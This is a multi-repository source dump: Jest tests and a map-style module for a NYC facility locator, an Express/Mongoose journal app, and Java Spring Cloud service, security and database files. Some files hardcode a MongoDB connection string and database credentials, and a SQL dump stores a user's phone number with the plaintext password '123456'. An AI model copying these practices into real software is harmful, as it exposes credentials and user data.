expect(examplePOD4.html()).toEqual($('<div class="facility POD_ID"><p>A Distance</p><p>A Name</p><p>screen</p><p>An Address</p><p>Map</p><p>Directions</p><a class="btn rad-all prep" href="Link" target="_blank">Prepare For Your Visit</a></div>'))
expect(examplePOD4.html().data('feature')).toBe(examplePOD4)
expect(examplePOD4.html()).not.toBeNull()
$.resetMocks()
$(examplePOD4.html()).trigger('mouseover')
expect($.proxy).toHaveBeenCalledTimes(2)
expect($.proxy.mock.calls[0][0]).toBe(examplePOD4.handleOver)
expect($.proxy.mock.calls[0][1]).toBe(examplePOD4)
expect($.proxy.mock.calls[1][0]).toBe(examplePOD4.handleOut)
expect($.proxy.mock.calls[1][1]).toBe(examplePOD4)
})
test('prepButton', () => {
expect.assertions(2)
expect(examplePOD1.prepButton()).toEqual($('<a class="btn rad-all prep" href="Link" target="_blank">Prepare For Your Visit</a>'))
expect(examplePOD1.prepButton()).not.toBeNull()
})
test('getTip', () => {
expect.assertions(2)
let date = new Date(examplePOD1.get('updated'))
const time = date.toLocaleTimeString()
date = date.toLocaleDateString()
examplePOD1.extendFeature()
expect(examplePOD1.getTip()).toEqual($(`<div><p>A Name</p><p>An Address</p><ul><li><b>Status: </b>Closed to Public</li><li><b>Last Updated: </b>${date} ${time}</li></ul><i class="dir-tip">Click on site for directions</i></div>`))
expect(examplePOD1.getTip()).not.toBeNull()
})
test('getAddress1', () => {
expect.assertions(2)
expect(examplePOD1.getAddress1()).toBe(`${examplePOD1.get('addr')}`)
expect(examplePOD1.getAddress1()).not.toBeNull()
})
test('getCityStateZip', () => {
expect.assertions(2)
expect(examplePOD1.getCityStateZip()).toBe(`${examplePOD1.get('boro')}, NY ${examplePOD1.get('zip')}`)
expect(examplePOD1.getCityStateZip()).not.toBeNull()
})
test('getName', () => {
expect.assertions(2)
expect(examplePOD1.getName()).toBe(`${examplePOD1.get('name')}`)
expect(examplePOD1.getName()).not.toBeNull()
})
describe('getStatus', () => {
afterEach(() => {
examplePOD1.set('status', 'Closed to Public')
})
test('getStatus - open soon', () => {
expect.assertions(3)
examplePOD1.set('status', 'Mobilizing')
expect(examplePOD1.get('status')).toBe('Mobilizing')
expect(examplePOD1.getStatus()).toBe('Opening Soon')
expect(examplePOD1.getStatus()).not.toBeNull()
})
test('getStatus - closed', () => {
expect.assertions(7)
examplePOD1.set('status', 'Demobilizing')
expect(examplePOD1.get('status')).toBe('Demobilizing')
expect(examplePOD1.getStatus()).toBe('Closed to Public')
examplePOD1.set('status', 'Demobilized')
expect(examplePOD1.get('status')).toBe('Demobilized')
expect(examplePOD1.getStatus()).toBe('Closed to Public')
examplePOD1.set('status', 'Closed to Public')
expect(examplePOD1.get('status')).toBe('Closed to Public')
expect(examplePOD1.getStatus()).toBe('Closed to Public')
expect(examplePOD1.getStatus()).not.toBeNull()
})
test('getStatus - open', () => {
expect.assertions(2)
examplePOD1.set('status', 'Open to Public')
expect(examplePOD1.getStatus()).toBe('Open to Public')
expect(examplePOD1.getStatus()).not.toBeNull()
})
test('getStatus - inactive', () => {
expect.assertions(2)
examplePOD1.set('status', '')
expect(examplePOD1.getStatus()).toBe('Inactive')
expect(examplePOD1.getStatus()).not.toBeNull()
})
})
test('getLatestDate', () => {
expect.assertions(2)
let date = new Date(examplePOD1.get('updated'))
let formattedDate = `${date.toLocaleDateString()} ${date.toLocaleTimeString()}`
expect(examplePOD1.getLatestDate()).toBe(formattedDate)
expect(examplePOD1.getLatestDate()).not.toBeNull()
})
test('getLatestDate - no date', () => {
expect.assertions(1)
expect(examplePOD6.getLatestDate()).toBeUndefined()
})
test('getOpeningTime', () => {
expect.assertions(1)
expect(examplePOD1.getOpeningTime()).not.toBeNull()
})
test('getOpeningTime - no time', () => {
expect.assertions(1)
expect(examplePOD6.getOpeningTime()).toBeUndefined()
})
test('getPODLink', () => {
expect.assertions(2)
expect(examplePOD1.getPODLink()).toBe('Link')
expect(examplePOD1.getPODLink()).not.toBeNull()
})
test('getWaitTime', () => {
expect.assertions(2)
expect(examplePOD1.getWaitTime()).toBe(`${examplePOD1.get('wait')}`)
expect(examplePOD1.getWaitTime()).not.toBeNull()
})
describe('detailsHtml', () => {
afterEach(() => {
examplePOD1.set('updated', '1/10/2019,3:54 PM')
examplePOD2.set('wait', 'Wait_Time')
examplePOD3.set('opening', '1/10/2019,3:55 PM')
})
test('detailsHtml - active is false', () => {
expect.assertions(1)
expect(examplePOD4.detailsHtml()).toBeUndefined()
})
test('detailsHtml - active is true, status is open to public', () => {
expect.assertions(4)
const update = new Date(examplePOD2.get('updated'))
let ul = $('<ul></ul>')
.append(`<li><b>Status: </b>${examplePOD2.getStatus()}</li>`)
.append(`<li><b>Wait time: </b>${examplePOD2.get('wait')} minutes</li>`)
.append(`<li><b>Last Updated: </b>${update.toLocaleDateString()} ${update.toLocaleTimeString()}</li>`)
expect(examplePOD2.detailsHtml()).toEqual(ul)
expect(examplePOD2.detailsHtml().children().length).toBe(3)
examplePOD2.set('wait', '')
ul = $('<ul></ul>')
.append(`<li><b>Status: </b>${examplePOD2.getStatus()}</li>`)
.append(`<li><b>Wait time: </b>N/A</li>`)
.append(`<li><b>Last Updated: </b>${update.toLocaleDateString()} ${update.toLocaleTimeString()}</li>`)
expect(examplePOD2.detailsHtml()).toEqual(ul)
expect(examplePOD2.detailsHtml().children().length).toBe(3)
})
test('detailsHtml - active is true, status is opening soon', () => {
expect.assertions(4)
const update = new Date(examplePOD3.get('updated'))
const opening = new Date(examplePOD3.get('opening'))
let ul = $('<ul></ul>')
.append(`<li><b>Status: </b>${examplePOD3.getStatus()}</li>`)
.append(`<li><b>Estimated Opening Time: </b>${opening.toLocaleDateString()} ${opening.toLocaleTimeString()}</li>`)
.append(`<li><b>Last Updated: </b>${update.toLocaleDateString()} ${update.toLocaleTimeString()}</li>`)
expect(examplePOD3.detailsHtml()).toEqual(ul)
expect(examplePOD3.detailsHtml().children().length).toBe(3)
examplePOD3.set('opening', '')
ul = $('<ul></ul>')
.append(`<li><b>Status: </b>${examplePOD3.getStatus()}</li>`)
.append(`<li><b>Estimated Opening Time: </b>N/A</li>`)
.append(`<li><b>Last Updated: </b>${update.toLocaleDateString()} ${update.toLocaleTimeString()}</li>`)
expect(examplePOD3.detailsHtml()).toEqual(ul)
expect(examplePOD3.detailsHtml().children().length).toBe(3)
})
test('detailsHtml - active is true, status is closed', () => {
expect.assertions(4)
const update = new Date(examplePOD1.get('updated'))
let ul = $('<ul></ul>').append(`<li><b>Status: </b>${examplePOD1.getStatus()}</li>`)
.append(`<li><b>Last Updated: </b>${update.toLocaleDateString()} ${update.toLocaleTimeString()}</li>`)
expect(examplePOD1.detailsHtml()).toEqual(ul)
expect(examplePOD1.detailsHtml().children().length).toBe(2)
examplePOD1.set('updated', '')
ul = $('<ul></ul>')
.append(`<li><b>Status: </b>${examplePOD1.getStatus()}</li>`)
.append(`<li><b>Last Updated: </b>N/A</li>`)
expect(examplePOD1.detailsHtml()).toEqual(ul)
expect(examplePOD1.detailsHtml().children().length).toBe(2)
})
})
});<file_sep>/src/js/facility-style.js
/**
* @module pods/facility-style
*/
import Style from 'ol/style/Style'
import nycOl from 'nyc-lib/nyc/ol'
import Circle from 'ol/style/Circle'
import Fill from 'ol/style/Fill'
import Stroke from 'ol/style/Stroke'
import Text from 'ol/style/Text'
const facilityStyle = {
pointStyle: (feature, resolution) => {
const zoom = nycOl.TILE_GRID.getZForResolution(resolution)
const active = feature.getActive()
const status = feature.getStatus()
const siteName = feature.getName()
let fillColor = '#0080A9'
if (active === 'true') {
if(status === 'Open to Public') {
fillColor = '#19DB17'
}
else if (status === 'Opening Soon') {
fillColor = '#F3E318'
}
else if (status === 'Closed to Public') {
fillColor = '#999999'
}
}
const radius = facilityStyle.calcRadius(zoom)
return new Style({
image: new Circle({
fill: new Fill({
color: fillColor
}),
radius: radius,
stroke: new Stroke({
width: 1,
color: '#1A1A1A'
})
})
})
},
calcRadius: (zoom) => {
let radius = 6
if (zoom > 17) radius = 20
else if (zoom > 15) radius = 16
else if (zoom > 13) radius = 12
else if (zoom > 11) radius = 8
return radius
},
highlightStyle: (feature, resolution) => {
const zoom = nycOl.TILE_GRID.getZForResolution(resolution)
const radius = facilityStyle.calcRadius(zoom)
return new Style({
image: new Circle({
radius: radius * 1.5,
stroke: new Stroke({
color: '#58A7FA',
width: radius
})
})
})
},
textStyle: (feature, resolution) => {
const zoom = nycOl.TILE_GRID.getZForResolution(resolution)
const pos = feature.get('labelpos') || 'E'
let offsetX = 0
let offsetY = 0
let textAlign = 'center'
switch (pos) {
case 'N':
offsetY = -2.5
break
case 'S':
offsetY = 2.5
break
case 'E':
offsetX = 1.5
textAlign = 'left'
break
case 'W':
offsetX = -1.5
textAlign = 'right'
break
}
if (zoom > 13) {
const fontSize = facilityStyle.calcRadius(zoom)
const siteName = facilityStyle.stringDivider(feature.getName(), 24, '\n')
return new Style({
text: new Text({
fill: new Fill({color: '#000'}),
font: `bold ${fontSize}px sans-serif`,
text: siteName,
offsetX: offsetX * fontSize,
offsetY: offsetY * fontSize,
textAlign: textAlign,
stroke: new Stroke({color: 'rgb(254,252,213)', width: fontSize / 2})
})
})
}
},
stringDivider: (str, width, spaceReplacer) => {
if (str.length > width) {
let p = width
while (p > 0 && (str[p] != ' ' && str[p] != '-')) {
p--
}
if (p > 0) {
let left;
if (str.substring(p, p + 1) == '-') {
left = str.substring(0, p + 1)
} else {
left = str.substring(0, p);
}
let right = str.substring(p + 1)
return left + spaceReplacer + facilityStyle.stringDivider(right, width, spaceReplacer)
}
}
return str;
}
}
export default facilityStyle
|
962b1afade63abdf5f037998f842a245431dd844
|
[
"JavaScript"
] | 4 |
JavaScript
|
cmenedes/pods
|
b68c22ef922194fec840575b18bede81e30e278b
|
4cf54ab0fb52742022edf3e964534657ca2fc550
|
refs/heads/main
|
<repo_name>DeepakdSingh/Daily_Journal<file_sep>/app.js
import express from "express";
import _ from "lodash";
import mongoose from "mongoose";
const homeStartingContent = "To start a journal, you just need to be willing to write. You don’t have to write well, you just need to want to do it. You don’t even need to decide what to write, you just need to let your words flow. Once you’ve decided you want to create a journal, here is a long list of instructions to guide you: Set up a schedule of when you play to write in your journal. You want to turn your writing into a habit, so create a schedule. Pick a time and the days of the week you will want to write and create a timely calendar reminder, so you don't forget. \t1.\tFind the right space to write. \t2.\tClose your eyes and reflect on your day. \t3.\tAsk yourself questions.\t4.\tDive in and start writing.\t5.\tTime yourself.\t6.\tRe-read your entry and add additional thoughts.";
const aboutContent = "We keep a lot of things in our heads, but we put less down on paper. All those thoughts and ideas bouncing around can sometimes feel overwhelming. You have to-do lists, hopes, dreams, secrets, failures, love, loss, ups and downs. Ideas come and go, feelings pass. How do you remember all of them? How do you keep them organized? A great way to keep your thoughts organized and clear your mind is to write them down in a journal. Writing is a great exercise for anyone and by expressing yourself in a personal place is a wonderful way to stay sane.";
const aboutContent2="Journaling is simply the act of informal writing as a regular practice. Journals take many forms and serve different purposes, some creative some personal. Writers keep journals as a place to record thoughts, practice their craft, and catalogue ideas as they occur to them. Journals are often a place for unstructured free writing, but sometimes people use writing prompts (also known as journaling prompts).";
const contactContent = "Scelerisque eleifend donec pretium vulputate sapien. Rhoncus urna neque viverra justo nec ultrices. Arcu dui vivamus arcu felis bibendum. Consectetur adipiscing elit duis tristique. Risus viverra adipiscing at in tellus integer feugiat. Sapien nec sagittis aliquam malesuada bibendum arcu vitae. Consequat interdum varius sit amet mattis. Iaculis nunc sed augue lacus. Interdum posuere lorem ipsum dolor sit amet consectetur adipiscing elit. Pulvinar elementum integer enim neque. Ultrices gravida dictum fusce ut placerat orci nulla. Mauris in aliquam sem fringilla ut morbi tincidunt. Tortor posuere ac ut consequat semper viverra nam libero.";
const app = express();
mongoose.connect("mongodb+srv://Deepak:<EMAIL>@cluster0.dxyck.mongodb.net/posts?retryWrites=true&w=majority");
app.set( 'view engine' , 'ejs');
app.use(express.urlencoded({extended: true}));
app.use(express.static("public"));
const postSchema = new mongoose.Schema({
title: {
type: String,
maxLength: 100,
required: true
},
content: {
type: String,
required: true
}
});
const PostMaker = mongoose.model("post",postSchema);
const date = new Date();
const options = {
weekday: 'long',
day: 'numeric',
month: 'long'
};
const day = date.toLocaleDateString('en-US',options);
app.get("/", (req, res)=>{
PostMaker.find({},(err,found)=>{
if(err){
console.log(err);
}else{
res.render( 'home' , {content: homeStartingContent, posts: found});
}
});
});
app.get("/about", (req, res)=>{
res.render( 'about' , {content: aboutContent,content2: aboutContent2});
});
app.get("/contact", (req, res)=>{
res.redirect("https://peaceful-tundra-00886.herokuapp.com/");
});
app.get("/compose", (req, res)=>{
res.render('compose', {date: day});
});
// Using express routing parameter (:post) & lodash (_.)
app.get("/posts/:id", (req, res)=>{
const id = req.params.id;
PostMaker.findOne({_id: id},(err,found)=>{
if(err){
console.log(err);
}else{
res.render("post",{title: found.title, content: found.content, id: found._id});
}
})
});
app.get("/posts/delete/:id", (req,res)=>{
const id = req.params.id;
PostMaker.findByIdAndDelete(id,(err,doc)=>{
if(err){
console.log(err);
}else{
res.redirect("/");
}
});
});
app.post("/compose", (req, res)=>{
const post = new PostMaker({
title: req.body.blogTitle,
content: req.body.blogPost
});
post.save();
res.redirect("/");
}
);
app.listen(process.env.PORT || 3000, ()=> {
console.log("Server started on port 3000");
});
// https://afternoon-earth-85109.herokuapp.com/
|
af153a27e64e0a2e9d1ed18fcb03a7a6a1ac551f
|
[
"JavaScript"
] | 1 |
JavaScript
|
DeepakdSingh/Daily_Journal
|
443d184e6921642ae127e4d1abceb99692f1e081
|
8414911013390586adc66c823855dff02e4fed6e
|
refs/heads/master
|
<file_sep>package com.cloud.mvc.example.common.service.system;
import com.cloud.mvc.example.business.domain.constants.UrlConstants;
import com.cloud.mvc.example.business.domain.dto.user.RoleDto;
import com.cloud.mvc.example.business.domain.resp.R;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import java.util.List;
public interface IRoleService {
String path = UrlConstants.SystemUrlConstants.SYSTEM_ROLE_URL;
@GetMapping("/findRoleByName")
R<RoleDto> findRoleByName(@RequestParam("name") String name);
@GetMapping("/findRolesByName")
R<List<RoleDto>> findRolesByName(@RequestParam("name") String name);
}
<file_sep>package com.cloud.mvc.example.business.system;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;
import java.math.BigDecimal;
@Data
@Builder
@NoArgsConstructor
@AllArgsConstructor
public class Bean {
private BigDecimal entrustCount;
private BigDecimal entrustPrice;
private BigDecimal entrustAmount;
private Integer entrustType;
private Integer marketId;
private Integer type;
private String dealPassword;
}
<file_sep>app.id=system
<file_sep>package plugins;
import com.google.common.collect.Lists;
import freemarker.cache.FileTemplateLoader;
import freemarker.template.Configuration;
import freemarker.template.Template;
import org.mybatis.generator.api.IntrospectedColumn;
import org.mybatis.generator.api.IntrospectedTable;
import org.mybatis.generator.api.PluginAdapter;
import org.mybatis.generator.api.dom.java.FullyQualifiedJavaType;
import org.mybatis.generator.api.dom.java.TopLevelClass;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import plugins.utils.TableEntity;
import java.io.File;
import java.io.FileOutputStream;
import java.io.OutputStreamWriter;
import java.util.List;
import java.util.stream.Collectors;
import static java.util.stream.Collectors.toList;
public class ControllerPlugin extends PluginAdapter {
private static List<String> defaultColumnNames = Lists.newArrayList("createUserId", "modifyUserId", "version");
private static final Logger logger = LoggerFactory.getLogger(DtoPlugin.class);
@Override
public boolean validate(List<String> warnings) {
return true;
}
@Override
public boolean modelBaseRecordClassGenerated(TopLevelClass topLevelClass, IntrospectedTable introspectedTable) {
try {
generateDto(topLevelClass, introspectedTable);
} catch (Exception e) {
e.printStackTrace();
}
return super.modelBaseRecordClassGenerated(topLevelClass, introspectedTable);
}
private void generateDto(TopLevelClass topLevelClass, IntrospectedTable introspectedTable) throws Exception {
final String packageName = getProperties().getProperty("packageName");
introspectedTable.getExampleType();
FullyQualifiedJavaType exampleType = new FullyQualifiedJavaType(introspectedTable.getExampleType());
FullyQualifiedJavaType entityType = new FullyQualifiedJavaType(introspectedTable.getBaseRecordType());
List<String> imports = Lists.newArrayList(exampleType, entityType)
.stream().map(t -> t.getFullyQualifiedName())
.collect(Collectors.toList());
List<IntrospectedColumn> columns = introspectedTable.getAllColumns()
.stream()
.filter(t -> !defaultColumnNames.contains(t.getJavaProperty()))
.collect(toList());
final String className = topLevelClass.getType().getShortName();
TableEntity entity = new TableEntity();
entity.setClassName(className);
entity.setPackageName(packageName);
entity.setColumns(columns);
entity.setImports(imports);
Configuration configuration = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);
FileTemplateLoader loader = new FileTemplateLoader(new File(getProperties().getProperty("service.template.path")));
configuration.setTemplateLoader(loader);
Template template = configuration.getTemplate(getProperties().getProperty("service.name"), "UTF-8");
template.process(entity, new OutputStreamWriter(new FileOutputStream(getProperties().getProperty("service.out.path") + "\\" + className + "Service.java")));
Template template1 = configuration.getTemplate(getProperties().getProperty("impl.name"), "UTF-8");
template1.process(entity, new OutputStreamWriter(new FileOutputStream(getProperties().getProperty("service.out.path") + "\\impl\\" + className + "ServiceImpl.java")));
}
}
<file_sep>package com.cloud.mvc.example.business.system.resource;
import com.cloud.mvc.example.business.domain.dto.system.DictDto;
import com.cloud.mvc.example.business.domain.resp.R;
import com.cloud.mvc.example.business.system.service.DictService;
import com.cloud.mvc.example.common.service.system.ISystemDictService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import javax.validation.constraints.NotEmpty;
@RestController
@RequestMapping(DictResource.path)
@SuppressWarnings("all")
public class DictResource implements ISystemDictService {
@Autowired
DictService service;
@Override
public R<DictDto> findDictByKey(@NotEmpty String key) {
return R.success(service.findDictByKey(key));
}
}
<file_sep>package com.example.mvc.example.sharding.sharding.processors;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;
@Component
public class C {
@Autowired
A a;
// @Autowired
// public C(A a) {
// this.a = a;
// }
}
<file_sep>package com.cloud.mvc.example.business.domain.enums;
public enum SessionUserType {
USER,
ADMIN
}
<file_sep>package com.cloud.mvc.example.business.system.common;
import com.cloud.mvc.example.business.common.config.message.CodeAndMessage;
public enum SystemCodeAndMessage implements CodeAndMessage {
;
@Override
public Integer getCode() {
return null;
}
}
<file_sep>package com.example.mvc.example.sharding.sharding.dao;
import com.example.mvc.example.sharding.sharding.ShardingApplication;
import com.example.mvc.example.sharding.sharding.config.ShardingConfiguration;
import com.google.gson.Gson;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.test.context.junit4.SpringRunner;
import static org.junit.Assert.*;
@RunWith(SpringRunner.class)
@SpringBootTest(classes = ShardingApplication.class, webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
public class OrderDaoTest {
@Autowired
OrderDao dao;
@Test
public void test(){
System.out.println(new Gson().toJson(dao.findAll()));
}
}<file_sep>/*
Navicat MySQL Data Transfer
Source Server : 本地
Source Server Version : 50724
Source Host : 192.168.204.10:3306
Source Database : user
Target Server Type : MYSQL
Target Server Version : 50724
File Encoding : 65001
Date: 2018-12-14 10:31:37
*/
SET FOREIGN_KEY_CHECKS=0;
-- ----------------------------
-- Table structure for user_account
-- ----------------------------
DROP TABLE IF EXISTS `user_account`;
CREATE TABLE `user_account` (
`id` bigint(20) NOT NULL,
`phone` varchar(255) NOT NULL COMMENT '手机号码',
`email` varchar(255) DEFAULT NULL COMMENT '邮箱',
`login_password` varchar(255) DEFAULT NULL COMMENT '登录密码',
`deal_password` varchar(255) DEFAULT NULL COMMENT '交易密码',
`create_date` datetime DEFAULT NULL,
`modify_date` datetime DEFAULT NULL,
`lock` int(2) DEFAULT NULL COMMENT '是否锁定0锁定1正常',
`status` int(2) DEFAULT NULL COMMENT '是否有效0无效1有效',
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='用户账户表';
-- ----------------------------
-- Records of user_account
-- ----------------------------
INSERT INTO `user_account` VALUES ('1', '13120971538', null, '123456', null, null, null, '1', '1');
<file_sep>package com.cloud.mvc.example.business.user.common;
import com.cloud.mvc.example.business.common.config.message.CodeAndMessage;
public enum UserCodeAndMessage implements CodeAndMessage {
;
private Integer code;
UserCodeAndMessage(Integer code) {
this.code = code;
}
@Override
public Integer getCode() {
return code;
}
}
<file_sep>package com.cloud.mvc.example.business.domain.enums;
public enum DeleteOperatrs {
LOGIC,
PHYSICS
}
<file_sep>package com.cloud.mvc.example.business.common.config.security.handlers;
import com.cloud.mvc.example.business.common.config.message.Resp;
import com.cloud.mvc.example.business.common.config.security.beans.UserAccountDetail;
import com.cloud.mvc.example.business.common.utils.JwtTokenUtil;
import com.cloud.mvc.example.business.common.utils.ResponseUtils;
import com.cloud.mvc.example.business.domain.vo.UserLoginVo;
import com.cloud.mvc.example.utils.mapper.BeanMapper;
import com.google.gson.Gson;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.core.Authentication;
import org.springframework.security.web.authentication.AuthenticationSuccessHandler;
import org.springframework.stereotype.Component;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
@Component
public class LoginSuccessHandler implements AuthenticationSuccessHandler {
private static final Logger logger = LoggerFactory.getLogger(LoginSuccessHandler.class);
@Autowired
JwtTokenUtil jwtTokenUtil;
@Override
public void onAuthenticationSuccess(HttpServletRequest request, HttpServletResponse response, Authentication authentication) throws IOException, ServletException {
logger.debug("用户登录成功");
UserAccountDetail detail = (UserAccountDetail) authentication.getPrincipal();
UserLoginVo vo = BeanMapper.map(detail, UserLoginVo.class);
vo.setToken(jwtTokenUtil.generateToken(vo.getPhone()));
ResponseUtils.write(response, new Gson().toJson(Resp.success(vo, request)));
}
}
<file_sep>package com.cloud.mvc.example.business.common.config.web;
import com.netflix.hystrix.contrib.metrics.eventstream.HystrixMetricsStreamServlet;
import org.springframework.boot.web.servlet.ServletRegistrationBean;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
/**
* @author <EMAIL>
* description
* @date 2019/4/3
*/
@Configuration
public class ServletConfiguration {
@Bean
public ServletRegistrationBean getServlet(){
HystrixMetricsStreamServlet servlet = new HystrixMetricsStreamServlet();
ServletRegistrationBean bean = new ServletRegistrationBean(servlet);
bean.addUrlMappings("/hystrix.stream");
bean.setName("HystrixMetricsStreamServlet");
return bean;
}
}
<file_sep>package com.cloud.mvc.example.business.system.controller;
import com.cloud.mvc.example.business.system.task.ServerSendClientTask;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
@RequestMapping("test")
public class TestController {
private static final Logger logger = LoggerFactory.getLogger(TestController.class);
@GetMapping
public String test(){
task.aciton();
return "OK";
}
@Autowired
ServerSendClientTask task;
}
<file_sep>package com.example.mvc.example.sharding.sharding.config;
import org.springframework.boot.context.properties.EnableConfigurationProperties;
import org.springframework.context.annotation.Configuration;
import javax.annotation.Resource;
import javax.sql.DataSource;
@Configuration
@EnableConfigurationProperties(ShardingPropertiesConfiguration.class)
public class ShardingConfiguration {
public static void main(String[] args) throws Exception {
}
@Resource
DataSource master;
}
<file_sep>package com.cloud.mvc.example.common.service.system.client;
import com.cloud.mvc.example.common.service.common.SystemFeignClient;
import com.cloud.mvc.example.common.service.system.IRoleService;
@SystemFeignClient(path = RoleServiceClient.path)
public interface RoleServiceClient extends IRoleService {
}
<file_sep>package com.cloud.mvc.example.common.service.system.client;
import com.cloud.mvc.example.common.service.common.SystemFeignClient;
import com.cloud.mvc.example.common.service.system.ISystemDictService;
import com.cloud.mvc.example.common.service.system.fallback.DictFallbackFactory;
@SystemFeignClient(path = SystemDictServiceClient.path, fallbackFactory = DictFallbackFactory.class)
public interface SystemDictServiceClient extends ISystemDictService {
}
<file_sep>package com.cloud.mvc.example.business.common.supers;
import com.cloud.mvc.example.utils.mapper.BeanMapper;
import java.util.Optional;
@SuppressWarnings("all")
public abstract class BaseVo {
public <T> Optional<T> toOptional() {
return (Optional<T>) Optional.ofNullable(this);
}
public <T> T map(Class<T> clazz) {
return BeanMapper.map(this, clazz);
}
}
<file_sep>import com.google.common.util.concurrent.RateLimiter;
import java.util.concurrent.TimeUnit;
import java.util.stream.IntStream;
public class LimiterTest {
public static void main(String[] args) throws InterruptedException {
RateLimiter limiter = RateLimiter.create(2);
TimeUnit.SECONDS.sleep(2);
IntStream.rangeClosed(1, 100)
.forEach(t -> {
boolean acquire = limiter.tryAcquire();
System.out.println(acquire);
});
}
}
<file_sep>db.username=jiwudev
db.password=<PASSWORD>
db.url=jdbc:mysql://192.168.100.158:3306/users?useUnicode=true&characterEncoding=utf8&autoReconnect=true&failOverReadOnly=false&useSSL=false
modelPackageName=com.cloud.mvc.example.business.user.entity
dtoPackageName=com.cloud.mvc.example.business.user.dto
dtoOutPath=E:\\my\\global\\business\\user\\src\\main\\java\\com\\cloud\\mvc\\example\\business\\user\\dto
voPackageName=com.cloud.mvc.example.business.user.vo
servicePackageName=com.cloud.mvc.example.business.user.service
xmlLocation=/mapper
daoPackageName=com.cloud.mvc.example.business.user.dao
dbName=users
tableName=t_sys_user
<file_sep>package com.cloud.mvc.example.common.service.user;
public interface UserInfoService {
}
<file_sep>package com.cloud.mvc.example.business.domain.resp;
import com.cloud.mvc.example.business.domain.exceptions.InternalServerException;
import com.google.common.base.Strings;
import io.swagger.models.auth.In;
import io.vavr.API;
import io.vavr.control.Try;
import lombok.Data;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.util.Optional;
import static io.vavr.API.$;
import static io.vavr.API.Case;
import static io.vavr.Patterns.$Failure;
import static io.vavr.Patterns.$Success;
/**
* 内部服务返回对象
* @param <T>
*/
@Data
@SuppressWarnings("all")
public class R<T> {
private static final Logger logger = LoggerFactory.getLogger(R.class);
T data;
Throwable throwable;//内部服务的接口出现异常都会抛出‘内部服务异常’
boolean success;
String errorMessage;
public static <T> R success(T data){
R r = new R();
r.success = true;
r.throwable = null;
r.data = data;
r.errorMessage = null;
return r;
}
public static <T> R fail(Throwable throwable){
// logger.error("内部接口调用发生异常:", throwable);
R r = new R();
r.success = false;
// r.throwable = throwable;//主动返回异常时,真正的异常对客户端不可见,只能在服务端进行查看日志获取
r.data = null;
r.errorMessage = throwable.getMessage();
return r;
}
public static <T> R from(Try tryFunction){
return API.Match(tryFunction)
.of(
Case($Success($()), a -> R.success(a)),
Case($Failure($()), b -> R.fail(b))
);
}
/**
* 在客户端端调用该方法
* @return
*/
public Optional<InternalServerException> getRuntimeException(){
if(!this.isSuccess()){
return Optional.of(InternalServerException.instance(this.getErrorMessage()));
}
return Optional.empty();
}
}
<file_sep>package com.cloud.mvc.example.business.common.config.security.filters;
import com.cloud.mvc.example.business.common.config.security.service.UserDetailsServiceIml;
import com.cloud.mvc.example.business.common.utils.JwtTokenUtil;
import com.google.common.base.Strings;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.security.authentication.UsernamePasswordAuthenticationToken;
import org.springframework.security.core.context.SecurityContextHolder;
import org.springframework.security.core.userdetails.UserDetails;
import org.springframework.security.web.authentication.WebAuthenticationDetailsSource;
import org.springframework.stereotype.Component;
import org.springframework.web.filter.OncePerRequestFilter;
import javax.servlet.FilterChain;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
@Component
public class JwtAuthorizationTokenFilter extends OncePerRequestFilter {
@Value("${jwt.header}")
private String header;
@Autowired
UserDetailsServiceIml serviceIml;
@Autowired
JwtTokenUtil jwtTokenUtil;
@Override
protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException {
String tokenName = request.getHeader(header);
if(!Strings.isNullOrEmpty(tokenName) && tokenName.startsWith("Bearer ")){
String token = tokenName.substring(7);
String username = jwtTokenUtil.getUserName(token);
//TODO 控制同时在线客户端数量
if(!Strings.isNullOrEmpty(username) && SecurityContextHolder.getContext().getAuthentication() == null){
//重新设置认证信息
UserDetails details = serviceIml.loadUserByUsername(username);
UsernamePasswordAuthenticationToken authentication = new UsernamePasswordAuthenticationToken(
details, null, details.getAuthorities());
authentication.setDetails(new WebAuthenticationDetailsSource().buildDetails(
request));
SecurityContextHolder.getContext().setAuthentication(authentication);
}
if(!Strings.isNullOrEmpty(username) && SecurityContextHolder.getContext().getAuthentication() != null){
//TODO refresh token
}
}
filterChain.doFilter(request, response);
}
}
<file_sep>package com.cloud.mvc.example.business.system.entity;
import com.cloud.mvc.example.business.common.supers.BaseEntity;
import java.time.LocalDateTime;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;
/**
* Created by Mybatis Generator on 2018/12/26
*/
@Data
@Builder
@NoArgsConstructor
@AllArgsConstructor
public class Role extends BaseEntity {
private Long id;
private String name;
private String createUserName;
/**
* 这是Mybatis Generator拓展插件生成的枚举(请勿删除).
* This class corresponds to the database table role
*
* @mbg.generated
*/
public enum Column {
id("id"),
name("name"),
createUserId("create_user_id"),
createUserName("create_user_name"),
createDate("create_date");
private final String column;
public String value() {
return this.column;
}
public String getValue() {
return this.column;
}
Column(String column) {
this.column = column;
}
